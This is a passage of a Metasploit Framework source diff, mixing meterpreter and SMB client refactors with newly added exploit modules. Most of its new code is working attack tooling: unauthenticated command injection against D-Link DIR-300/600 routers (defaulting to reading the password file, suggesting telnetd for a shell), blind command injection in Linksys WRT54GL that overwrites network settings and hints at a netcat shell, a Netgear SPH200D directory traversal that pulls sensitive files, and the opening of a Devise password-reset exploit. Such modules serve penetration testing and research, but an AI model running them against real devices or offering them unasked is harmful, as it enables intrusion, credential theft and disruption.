remote computer. # def cmd_reboot(*args) + force = 0 + + if args.length == 1 and args[0].strip == "-h" + print( + "Usage: reboot [options]\n\n" + + "Reboot the remote machine.\n" + + @@reboot_opts.usage) + return true + end + + @@reboot_opts.parse(args) { |opt, idx, val| + case opt + when "-f" + force = val.to_i + end + } print_line("Rebooting...") - client.sys.power.reboot + client.sys.power.reboot(force, SHTDN_REASON_DEFAULT) end # @@ -728,9 +758,26 @@ def cmd_sysinfo(*args) # Shuts down the remote computer. # def cmd_shutdown(*args) + force = 0 + + if args.length == 1 and args[0].strip == "-h" + print( + "Usage: shutdown [options]\n\n" + + "Shutdown the remote machine.\n" + + @@shutdown_opts.usage) + return true + end + + @@shutdown_opts.parse(args) { |opt, idx, val| + case opt + when "-f" + force = val.to_i + end + } + print_line("Shutting down...") - client.sys.power.shutdown + client.sys.power.shutdown(force, SHTDN_REASON_DEFAULT) end # @@ -750,7 +797,7 @@ def cmd_suspend(*args) return true end - continue = args.delete("-c") || false + continue = args.delete("-c") || false resume = args.delete("-r") || false # validate all the proposed pids first so we can bail if one is bogus diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb index 37386cad6639..6c4bd90f17f8 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb @@ -129,7 +129,7 @@ def cmd_uictl(*args) def cmd_screenshot( *args ) path = Rex::Text.rand_text_alpha(8) + ".jpeg" quality = 50 - view = true + view = false screenshot_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help Banner." ], diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb index e2d05bfa2a0d..a550f9b529b6 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb @@ -29,7 +29,7 @@ def commands reqs = { "webcam_list" => [ "webcam_list" ], "webcam_snap" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ], - "record_mic" => [ "webcam_record_audio" ], + "record_mic" => [ "webcam_audio_record" ], } all.delete_if do |cmd, desc| diff --git a/lib/rex/proto/smb/client.rb b/lib/rex/proto/smb/client.rb index bec1ff50d54e..72c35379fbf0 100644 --- a/lib/rex/proto/smb/client.rb +++ b/lib/rex/proto/smb/client.rb @@ -1899,7 +1899,7 @@ def find_first(path) resp = find_next(last_search_id, last_offset, last_filename) search_next = 1 # Flip bit so response params will parse correctly end - end until eos != 0 or last_offset == 0 + end until eos != 0 or last_offset == 0 rescue ::Exception raise $! end diff --git a/lib/rex/proto/smb/simpleclient.rb b/lib/rex/proto/smb/simpleclient.rb index 454a3c694e75..c0cd9d02e99f 100644 --- a/lib/rex/proto/smb/simpleclient.rb +++ b/lib/rex/proto/smb/simpleclient.rb @@ -12,6 +12,8 @@ class SimpleClient require 'rex/proto/smb/crypt' require 'rex/proto/smb/utils' require 'rex/proto/smb/client' +require 'rex/proto/smb/simpleclient/open_file' +require 'rex/proto/smb/simpleclient/open_pipe' # Some short-hand class aliases CONST = Rex::Proto::SMB::Constants @@ -20,157 +22,11 @@ class SimpleClient XCEPT = Rex::Proto::SMB::Exceptions EVADE = Rex::Proto::SMB::Evasions - - class OpenFile - attr_accessor :name, :tree_id, :file_id, :mode, :client, :chunk_size - - def initialize(client, name, tree_id, file_id) - self.client = client - self.name = name - self.tree_id = tree_id - self.file_id = file_id - self.chunk_size = 48000 - end - - def delete - begin - self.close - rescue - end - self.client.delete(self.name, self.tree_id) - end - - # Close this open file - def close - self.client.close(self.file_id, self.tree_id) - end - - # Read data from the file - def read(length = nil, offset = 0) - if (length == nil) - data = '' - fptr = offset - ok = self.client.read(self.file_id, fptr, self.chunk_size) - while (ok and ok['Payload'].v['DataLenLow'] > 0) - buff = ok.to_s.slice( - ok['Payload'].v['DataOffset'] + 4, - ok['Payload'].v['DataLenLow'] - ) - data << buff - if ok['Payload'].v['Remaining'] == 0 - break - end - fptr += ok['Payload'].v['DataLenLow'] - - begin - ok = self.client.read(self.file_id, fptr, self.chunk_size) - rescue XCEPT::ErrorCode => e - case e.error_code - when 0x00050001 - # Novell fires off an access denied error on EOF - ok = nil - else - raise e - end - end - end - - return data - else - ok = self.client.read(self.file_id, offset, length) - data = ok.to_s.slice( - ok['Payload'].v['DataOffset'] + 4, - ok['Payload'].v['DataLenLow'] - ) - return data - end - end - - def << (data) - self.write(data) - end - - # Write data to the file - def write(data, offset = 0) - # Track our offset into the remote file - fptr = offset - - # Duplicate the data so we can use slice! - data = data.dup - - # Take our first chunk of bytes - chunk = data.slice!(0, self.chunk_size) - - # Keep writing data until we run out - while (chunk.length > 0) - ok = self.client.write(self.file_id, fptr, chunk) - cl = ok['Payload'].v['CountLow'] - - # Partial write, push the failed data back into the queue - if (cl != chunk.length) - data = chunk.slice(cl - 1, chunk.length - cl) + data - end - - # Increment our painter and grab the next chunk - fptr += cl - chunk = data.slice!(0, self.chunk_size) - end - end - end - - class OpenPipe < OpenFile - - # Valid modes are: 'trans' and 'rw' - attr_accessor :mode - - def initialize(*args) - super(*args) - self.mode = 'rw' - @buff = '' - end - - def read_buffer(length, offset=0) - length ||= @buff.length - @buff.slice!(0, length) - end - - def read(length = nil, offset = 0) - case self.mode - when 'trans' - read_buffer(length, offset) - when 'rw' - super(length, offset) - else - raise ArgumentError - end - end - - def write(data, offset = 0) - case self.mode - - when 'trans' - write_trans(data, offset) - when 'rw' - super(data, offset) - else - raise ArgumentError - end - end - - def write_trans(data, offset=0) - ack = self.client.trans_named_pipe(self.file_id, data) - doff = ack['Payload'].v['DataOffset'] - dlen = ack['Payload'].v['DataCount'] - @buff << ack.to_s[4+doff, dlen] - end - end - - # Public accessors -attr_accessor :last_error +attr_accessor :last_error # Private accessors -attr_accessor :socket, :client, :direct, :shares, :last_share +attr_accessor :socket, :client, :direct, :shares, :last_share # Pass the socket object and a boolean indicating whether the socket is netbios or cifs def initialize(socket, direct = false) @@ -180,7 +36,7 @@ def initialize(socket, direct = false) self.shares = { } end - def login( name = '', user = '', pass = '', domain = '', + def login(name = '', user = '', pass = '', domain = '', verify_signature = false, usentlmv2 = false, usentlm2_session = true, send_lm = true, use_lanman_key = false, send_ntlm = true, native_os = 'Windows 2000 2195', native_lm = 'Windows 2000 5.0', spnopt = {}) diff --git a/lib/rex/proto/smb/simpleclient/open_file.rb b/lib/rex/proto/smb/simpleclient/open_file.rb new file mode 100644 index 000000000000..66696dfae43b --- /dev/null +++ b/lib/rex/proto/smb/simpleclient/open_file.rb @@ -0,0 +1,106 @@ +# -*- coding: binary -*- +module Rex +module Proto +module SMB +class SimpleClient + +class OpenFile + attr_accessor :name, :tree_id, :file_id, :mode, :client, :chunk_size + + def initialize(client, name, tree_id, file_id) + self.client = client + self.name = name + self.tree_id = tree_id + self.file_id = file_id + self.chunk_size = 48000 + end + + def delete + begin + self.close + rescue + end + self.client.delete(self.name, self.tree_id) + end + + # Close this open file + def close + self.client.close(self.file_id, self.tree_id) + end + + # Read data from the file + def read(length = nil, offset = 0) + if (length == nil) + data = '' + fptr = offset + ok = self.client.read(self.file_id, fptr, self.chunk_size) + while (ok and ok['Payload'].v['DataLenLow'] > 0) + buff = ok.to_s.slice( + ok['Payload'].v['DataOffset'] + 4, + ok['Payload'].v['DataLenLow'] + ) + data << buff + if ok['Payload'].v['Remaining'] == 0 + break + end + fptr += ok['Payload'].v['DataLenLow'] + + begin + ok = self.client.read(self.file_id, fptr, self.chunk_size) + rescue XCEPT::ErrorCode => e + case e.error_code + when 0x00050001 + # Novell fires off an access denied error on EOF + ok = nil + else + raise e + end + end + end + + return data + else + ok = self.client.read(self.file_id, offset, length) + data = ok.to_s.slice( + ok['Payload'].v['DataOffset'] + 4, + ok['Payload'].v['DataLenLow'] + ) + return data + end + end + + def << (data) + self.write(data) + end + + # Write data to the file + def write(data, offset = 0) + # Track our offset into the remote file + fptr = offset + + # Duplicate the data so we can use slice! + data = data.dup + + # Take our first chunk of bytes + chunk = data.slice!(0, self.chunk_size) + + # Keep writing data until we run out + while (chunk.length > 0) + ok = self.client.write(self.file_id, fptr, chunk) + cl = ok['Payload'].v['CountLow'] + + # Partial write, push the failed data back into the queue + if (cl != chunk.length) + data = chunk.slice(cl - 1, chunk.length - cl) + data + end + + # Increment our painter and grab the next chunk + fptr += cl + chunk = data.slice!(0, self.chunk_size) + end + end +end +end +end +end +end diff --git a/lib/rex/proto/smb/simpleclient/open_pipe.rb b/lib/rex/proto/smb/simpleclient/open_pipe.rb new file mode 100644 index 000000000000..387ee4ff9ab7 --- /dev/null +++ b/lib/rex/proto/smb/simpleclient/open_pipe.rb @@ -0,0 +1,57 @@ +# -*- coding: binary -*- + +module Rex +module Proto +module SMB +class SimpleClient + +class OpenPipe < OpenFile + + # Valid modes are: 'trans' and 'rw' + attr_accessor :mode + + def initialize(*args) + super(*args) + self.mode = 'rw' + @buff = '' + end + + def read_buffer(length, offset=0) + length ||= @buff.length + @buff.slice!(0, length) + end + + def read(length = nil, offset = 0) + case self.mode + when 'trans' + read_buffer(length, offset) + when 'rw' + super(length, offset) + else + raise ArgumentError + end + end + + def write(data, offset = 0) + case self.mode + + when 'trans' + write_trans(data, offset) + when 'rw' + super(data, offset) + else + raise ArgumentError + end + end + + def write_trans(data, offset=0) + ack = self.client.trans_named_pipe(self.file_id, data) + doff = ack['Payload'].v['DataOffset'] + dlen = ack['Payload'].v['DataCount'] + @buff << ack.to_s[4+doff, dlen] + end +end +end +end +end +end diff --git a/lib/rex/text.rb b/lib/rex/text.rb index 37137e7af330..95d465283a9b 100644 --- a/lib/rex/text.rb +++ b/lib/rex/text.rb @@ -39,8 +39,8 @@ module Text UpperAlpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" LowerAlpha = "abcdefghijklmnopqrstuvwxyz" Numerals = "0123456789" - Base32 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" - Alpha = UpperAlpha + LowerAlpha + Base32 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" + Alpha = UpperAlpha + LowerAlpha AlphaNumeric = Alpha + Numerals HighAscii = [*(0x80 .. 0xff)].pack("C*") LowAscii = [*(0x00 .. 0x1f)].pack("C*") @@ -307,16 +307,16 @@ def self.to_hex_ascii(str, prefix = "\\x", count = 1, suffix=nil) # # Supported unicode types include: utf-16le, utf16-be, utf32-le, utf32-be, utf-7, and utf-8 # - # Providing 'mode' provides hints to the actual encoder as to how it should encode the string. Only UTF-7 and UTF-8 use "mode". + # Providing 'mode' provides hints to the actual encoder as to how it should encode the string. Only UTF-7 and UTF-8 use "mode". # # utf-7 by default does not encode alphanumeric and a few other characters. By specifying the mode of "all", then all of the characters are encoded, not just the non-alphanumeric set. # to_unicode(str, 'utf-7', 'all') # # utf-8 specifies that alphanumeric characters are used directly, eg "a" is just "a". However, there exist 6 different overlong encodings of "a" that are technically not valid, but parse just fine in most utf-8 parsers. (0xC1A1, 0xE081A1, 0xF08081A1, 0xF8808081A1, 0xFC80808081A1, 0xFE8080808081A1). How many bytes to use for the overlong enocding is specified providing 'size'. - # to_unicode(str, 'utf-8', 'overlong', 2) + # to_unicode(str, 'utf-8', 'overlong', 2) # - # Many utf-8 parsers also allow invalid overlong encodings, where bits that are unused when encoding a single byte are modified. Many parsers will ignore these bits, rendering simple string matching to be ineffective for dealing with UTF-8 strings. There are many more invalid overlong encodings possible for "a". For example, three encodings are available for an invalid 2 byte encoding of "a". (0xC1E1 0xC161 0xC121). By specifying "invalid", a random invalid encoding is chosen for the given byte size. - # to_unicode(str, 'utf-8', 'invalid', 2) + # Many utf-8 parsers also allow invalid overlong encodings, where bits that are unused when encoding a single byte are modified. Many parsers will ignore these bits, rendering simple string matching to be ineffective for dealing with UTF-8 strings. There are many more invalid overlong encodings possible for "a". For example, three encodings are available for an invalid 2 byte encoding of "a". (0xC1E1 0xC161 0xC121). By specifying "invalid", a random invalid encoding is chosen for the given byte size. + # to_unicode(str, 'utf-8', 'invalid', 2) # # utf-7 defaults to 'normal' utf-7 encoding # utf-8 defaults to 2 byte 'normal' encoding @@ -360,7 +360,7 @@ def self.to_unicode(str='', type = 'utf-16le', mode = '', size = '') string = '' str.each_byte { |a| if (a < 21 || a > 0x7f) || mode != '' - # ugh. turn a single byte into the binary representation of it, in array form + # ugh. turn a single byte into the binary representation of it, in array form bin = [a].pack('C').unpack('B8')[0].split(//) # even more ugh. @@ -658,6 +658,49 @@ def self.to_hex_dump(str, width=16) buf << "\n" end + # + # Converts a string a nicely formatted and addressed ex dump + # + def self.to_addr_hex_dump(str, start_addr=0, width=16) + buf = '' + idx = 0 + cnt = 0 + snl = false + lst = 0 + addr = start_addr + + while (idx < str.length) + + buf << "%08x" % addr + buf << " " * 4 + chunk = str[idx, width] + line = chunk.unpack("H*")[0].scan(/../).join(" ") + buf << line + + if (lst == 0) + lst = line.length + buf << " " * 4 + else + buf << " " * ((lst - line.length) + 4).abs + end + + chunk.unpack("C*").each do |c| + if (c > 0x1f and c < 0x7f) + buf << c.chr + else + buf << "." + end + end + + buf << "\n" + + idx += width + addr += width + end + + buf << "\n" + end + # # Converts a hex string to a raw string # @@ -691,20 +734,20 @@ def self.wordwrap(str, indent = 0, col = DefaultWrap, append = '', prepend = '') # Converts a string to a hex version with wrapping support # def self.hexify(str, col = DefaultWrap, line_start = '', line_end = '', buf_start = '', buf_end = '') - output = buf_start - cur = 0 - count = 0 + output = buf_start + cur = 0 + count = 0 new_line = true # Go through each byte in the string str.each_byte { |byte| count += 1 - append = '' + append = '' # If this is a new line, prepend with the # line start text if (new_line == true) - append << line_start + append << line_start new_line = false end @@ -716,7 +759,7 @@ def self.hexify(str, col = DefaultWrap, line_start = '', line_end = '', buf_star # time to finish up this line if ((cur + line_end.length >= col) or (cur + buf_end.length >= col)) new_line = true - cur = 0 + cur = 0 # If this is the last byte, use the buf_end instead of # line_end @@ -1277,7 +1320,7 @@ def self.split_to_a(str, n) else ret = str end - ret + ret end # diff --git a/lib/rex/ui/text/irb_shell.rb b/lib/rex/ui/text/irb_shell.rb index 10cd345a6535..e7d6baf72eb5 100644 --- a/lib/rex/ui/text/irb_shell.rb +++ b/lib/rex/ui/text/irb_shell.rb @@ -41,7 +41,11 @@ def run # Trap interrupt old_sigint = trap("SIGINT") do - irb.signal_handle + begin + irb.signal_handle + rescue RubyLex::TerminateLineInput + irb.eval_input + end end # Keep processing input until the cows come home... diff --git a/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb b/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb index 4ddf66ff529a..58aae1ae9841 100644 --- a/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb +++ b/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb @@ -75,6 +75,7 @@ def run_host(ip) begin uri = normalize_uri(target_uri.path) + uri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'uri' => uri, 'method' => 'POST', diff --git a/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb b/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb new file mode 100644 index 000000000000..87d1f4519290 --- /dev/null +++ b/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb @@ -0,0 +1,75 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution', + 'Description' => %q{ + This module exploits an OS Command Injection vulnerability in some D-Link + Routers like the DIR-600 rev B and the DIR-300 rev B. The vulnerability exists in + command.php, which is accessible without authentication. This module has been + tested with the versions DIR-600 2.14b01 and below, DIR-300 rev B 2.13 and below. + In order to get a remote shell the telnetd could be started without any + authentication. + }, + 'Author' => [ 'm-1-k-3' ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'OSVDB', '89861' ], + [ 'EDB', '24453' ], + [ 'URL', 'http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router' ], + [ 'URL', 'http://www.s3cur1ty.de/home-network-horror-days' ], + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Feb 04 2013')) + + register_options( + [ + Opt::RPORT(80), + OptString.new('CMD', [ true, 'The command to execute', 'cat var/passwd']) + ], self.class) + end + + def run + uri = '/command.php' + + print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD']) + + data_cmd = "cmd=#{datastore['CMD']}; echo end" + + begin + res = send_request_cgi( + { + 'uri' => uri, + 'method' => 'POST', + 'data' => data_cmd + }) + return if res.nil? + return if (res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ HTTP\/1.1,\ DIR/) + return if res.code == 404 + rescue ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") + return + end + + if res.body.include?("end") + print_good("#{rhost}:#{rport} - Exploited successfully\n") + print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n") + print_line("#{rhost}:#{rport} - Output: #{res.body}") + else + print_error("#{rhost}:#{rport} - Exploit failed.") + end + end +end diff --git a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb new file mode 100644 index 000000000000..189f937ea1ab --- /dev/null +++ b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb @@ -0,0 +1,205 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Linksys WRT54GL Remote Command Execution', + 'Description' => %q{ + Some Linksys Routers are vulnerable to OS Command injection. + You will need credentials to the web interface to access the vulnerable part + of the application. + Default credentials are always a good starting point. admin/admin or admin + and blank password could be a first try. + Note: This is a blind OS command injection vulnerability. This means that + you will not see any output of your command. Try a ping command to your + local system and observe the packets with tcpdump (or equivalent) for a first test. + + Hint: To get a remote shell you could upload a netcat binary and exec it. + WARNING: this module will overwrite network and DHCP configuration. + }, + 'Author' => [ 'm-1-k-3' ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://homesupport.cisco.com/en-eu/support/routers/WRT54GL' ], + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-01' ], + [ 'URL', 'http://www.s3cur1ty.de/attacking-linksys-wrt54gl' ], + [ 'EDB', '24202' ], + [ 'BID', '57459' ], + [ 'OSVDB', '89421' ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 18 2013')) + + register_options( + [ + Opt::RPORT(80), + OptString.new('TARGETURI',[ true, 'PATH to OS Command Injection', '/apply.cgi']), + OptString.new('USERNAME',[ true, 'User to login with', 'admin']), + OptString.new('PASSWORD',[ false, 'Password to login with', 'password']), + OptString.new('CMD', [ true, 'The command to execute', 'ping 127.0.0.1']), + OptString.new('NETMASK', [ false, 'LAN Netmask of the router', '255.255.255.0']), + OptAddress.new('LANIP', [ false, 'LAN IP address of the router (default is RHOST)']), + OptString.new('ROUTER_NAME', [ false, 'Name of the router', 'cisco']), + OptString.new('WAN_DOMAIN', [ false, 'WAN Domain Name', 'test']), + OptString.new('WAN_MTU', [ false, 'WAN MTU', '1500']) + ], self.class) + end + + # If the user configured LANIP, use it. Otherwise, use RHOST. + # NB: This presumes a dotted quad ip address. + def lan_ip + if datastore['LANIP'].to_s.empty? + datastore['RHOST'] + else + datastore['LANIP'] + end + end + + def run + #setting up some basic variables + uri = datastore['TARGETURI'] + user = datastore['USERNAME'] + rhost = datastore['RHOST'] + netmask = datastore['NETMASK'] + routername = datastore['ROUTER_NAME'] + wandomain = datastore['WAN_DOMAIN'] + wanmtu = datastore['WAN_MTU'] + + ip = lan_ip.split('.') + + if datastore['PASSWORD'].nil? + pass = "" + else + pass = datastore['PASSWORD'] + end + + print_status("Trying to login with #{user} / #{pass}") + + begin + res = send_request_cgi({ + 'uri' => uri, + 'method' => 'GET', + 'basic_auth' => "#{user}:#{pass}" + }) + + unless (res.kind_of? Rex::Proto::Http::Response) + vprint_error("#{rhost} not responding") + return :abort + end + + if (res.code == 404) + print_error("Not Found page returned") + return :abort + end + + if [200, 301, 302].include?(res.code) + print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") + else + print_error("NO SUCCESSFUL LOGIN POSSIBLE. '#{user}' : '#{pass}'") + return :abort + end + + rescue ::Rex::ConnectionError + vprint_error("#{rhost} - Failed to connect to the web server") + return :abort + end + + cmd = datastore['CMD'] + + print_status("Sending remote command: " + cmd) + + #cmd = Rex::Text.uri_encode(datastore['CMD']) + #original Post Request: + #data_cmd = "submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&" + #data_cmd << "lan_ipaddr=4&wait_time=0&need_reboot=0&ui_language=de&wan_proto=dhcp&router_name=#{routername}&" + #data_cmd << "wan_hostname=`#{cmd}`&wan_domain=#{wandomain}&mtu_enable=1&wan_mtu=#{wanmtu}&lan_ipaddr_0=#{ip[0]}&" + #data_cmd << "lan_ipaddr_1=#{ip[1]}&lan_ipaddr_2=#{ip[2]}&lan_ipaddr_3=#{ip[3]}&lan_netmask=#{netmask}&" + #data_cmd << "lan_proto=dhcp&dhcp_check=&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&" + #data_cmd << "wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&" + #data_cmd << "wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&" + #data_cmd << "wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1" + + vprint_status("using the following target URL: #{uri}") + + begin + res = send_request_cgi({ + 'uri' => uri, + 'method' => 'POST', + 'basic_auth' => "#{user}:#{pass}", + #'data' => data_cmd, + + 'vars_post' => { + 'submit_button' => "index", + 'change_action' => "1", + 'submit_type' => "1", + 'action' => "Apply", + 'now_proto' => "dhcp", + 'daylight_time' => "1", + 'lan_ipaddr' => "4", + 'wait_time' => "0", + 'need_reboot' => "0", + 'ui_language' => "de", + 'wan_proto' => "dhcp", + 'router_name' => "#{routername}", + 'wan_hostname' => "`#{cmd}`", + 'wan_domain' => "#{wandomain}", + 'mtu_enable' => "1", + 'wan_mtu' => "#{wanmtu}", + 'lan_ipaddr_0' => "#{ip[0]}", + 'lan_ipaddr_1' => "#{ip[1]}", + 'lan_ipaddr_2' => "#{ip[2]}", + 'lan_ipaddr_3' => "#{ip[3]}", + 'lan_netmask' => "#{netmask}", + 'lan_proto' => "dhcp", + 'dhcp_check' => "1", + 'dhcp_start' => "100", + 'dhcp_num' => "50", + 'dhcp_lease' => "0", + 'wan_dns' => "4", + 'wan_dns0_0' => "0", + 'wan_dns0_1' => "0", + 'wan_dns0_2' => "0", + 'wan_dns0_3' => "0", + 'wan_dns1_0' => "0", + 'wan_dns1_1' => "0", + 'wan_dns1_2' => "0", + 'wan_dns1_3' => "0", + 'wan_dns2_0' => "0", + 'wan_dns2_1' => "0", + 'wan_dns2_2' => "0", + 'wan_dns2_3' => "0", + 'wan_wins' => "4", + 'wan_wins_0' => "0", + 'wan_wins_1' => "0", + 'wan_wins_2' => "0", + 'wan_wins_3' => "0", + 'time_zone' => "-08+1+1", + '_daylight_time' => '1' + } + }) + rescue ::Rex::ConnectionError + vprint_error("#{rhost} - Failed to connect to the web server") + return :abort + end + + if res and res.code == 200 + print_status("Blind Exploitation - Response expected") + else + print_error("Blind Exploitation - Response don't expected") + end + print_status("Blind Exploitation - wait around 10 seconds until the configuration gets applied and your command gets executed") + print_status("Blind Exploitation - unknown Exploitation state") + end +end + diff --git a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb new file mode 100644 index 000000000000..632a991c0f98 --- /dev/null +++ b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb @@ -0,0 +1,121 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Netgear SPH200D Directory Traversal Vulnerability', + 'Description' => %q{ + This module exploits a directory traversal vulnerablity which is present in + Netgear SPH200D Skype telephone. + }, + 'References' => + [ + [ 'BID', '57660' ], + [ 'EDB', '24441' ], + [ 'URL', 'http://support.netgear.com/product/SPH200D' ], + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-002' ] + ], + 'Author' => [ 'm-1-k-3' ], + 'License' => MSF_LICENSE + ) + register_options( + [ + Opt::RPORT(80), + OptPath.new('FILELIST', [ true, "File containing sensitive files, one per line", + File.join(Msf::Config.install_root, "data", "wordlists", "sensitive_files.txt") ]), + OptString.new('USERNAME',[ true, 'User to login with', 'admin']), + OptString.new('PASSWORD',[ true, 'Password to login with', 'password']) + ], self.class) + end + + def extract_words(wordfile) + return [] unless wordfile && File.readable?(wordfile) + begin + words = File.open(wordfile, "rb") do |f| + f.read + end + rescue + return [] + end + save_array = words.split(/\r?\n/) + return save_array + end + + #traversal every file + def find_files(file,user,pass) + traversal = '/../../' + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(traversal, file), + 'basic_auth' => "#{user}:#{pass}" + }) + + if res and res.code == 200 and res.body !~ /404\ File\ Not\ Found/ + print_good("#{rhost}:#{rport} - Request may have succeeded on file #{file}") + report_web_vuln({ + :host => rhost, + :port => rport, + :vhost => datastore['VHOST'], + :path => "/", + :pname => normalize_uri(traversal, file), + :risk => 3, + :proof => normalize_uri(traversal, file), + :name => self.fullname, + :category => "web", + :method => "GET" + }) + + loot = store_loot("lfi.data","text/plain",rhost, res.body,file) + vprint_good("#{rhost}:#{rport} - File #{file} downloaded to: #{loot}") + elsif res and res.code + vprint_error("#{rhost}:#{rport} - Attempt returned HTTP error #{res.code} when trying to access #{file}") + end + end + + def run_host(ip) + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + + vprint_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}") + + #test login + begin + res = send_request_cgi({ + 'uri' => '/', + 'method' => 'GET', + 'basic_auth' => "#{user}:#{pass}" + }) + + return :abort if res.nil? + return :abort if (res.headers['Server'].nil? or res.headers['Server'] !~ /simple httpd/) + return :abort if (res.code == 404) + + if [200, 301, 302].include?(res.code) + vprint_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}") + else + vprint_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") + return :abort + end + + rescue ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") + return :abort + end + + extract_words(datastore['FILELIST']).each do |file| + find_files(file,user,pass) unless file.empty? + end + end +end diff --git a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb new file mode 100644 index 000000000000..e301b59c2bd5 --- /dev/null +++ b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb @@ -0,0 +1,167 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rexml/element' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Ruby on Rails Devise Authentication Password Reset', + 'Description' => %q{ + The Devise authentication gem for Ruby on Rails is vulnerable + to a password reset exploit leveraging type confusion. By submitting XML + to rails, we can influence the type used for the reset_password_token + parameter. This allows for resetting passwords of arbitrary accounts, + knowing only the associated email address. + + This module defaults to the most common devise URIs and response values, + but these may require adjustment for implementations which customize them. + + Affects Devise < v2.2.3, 2.1.3, 2.0.5 and 1.5.4 when backed by any database + except PostgreSQL or SQLite3. Tested with v2.2.2, 2.1.2, and 2.0.4 on Rails + 3.2.11. Patch applied to Rails 3.2.12 and 3.1.11 should prevent exploitation + of this vulnerability, by quoting numeric values when comparing them with + non numeric values. + }, + 'Author' => + [ + 'joernchen', #original discovery and disclosure + 'jjarmoc' #metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-0233'], + [ 'OSVDB', '89642' ], + [ 'BID', '57577' ], + [ 'URL', 'http://blog.plataformatec.com.br/2013/01/security-announcement-devise-v2-2-3-v2-1-3-v2-0-5-and-v1-5-3-released/'], + [ 'URL', 'http://www.phenoelit.org/blog/archives/2013/02/05/mysql_madness_and_rails/index.html'], + [ 'URL', 'https://github.com/rails/rails/commit/921a296a3390192a71abeec6d9a035cc6d1865c8' ], + [ 'URL', 'https://github.com/rails/rails/commit/26e13c3ca71cbc7859cc4c51e64f3981865985d8'] + ], + 'DisclosureDate' => 'Jan 28 2013' + )) + + register_options( + [ + OptString.new('TARGETURI', [ 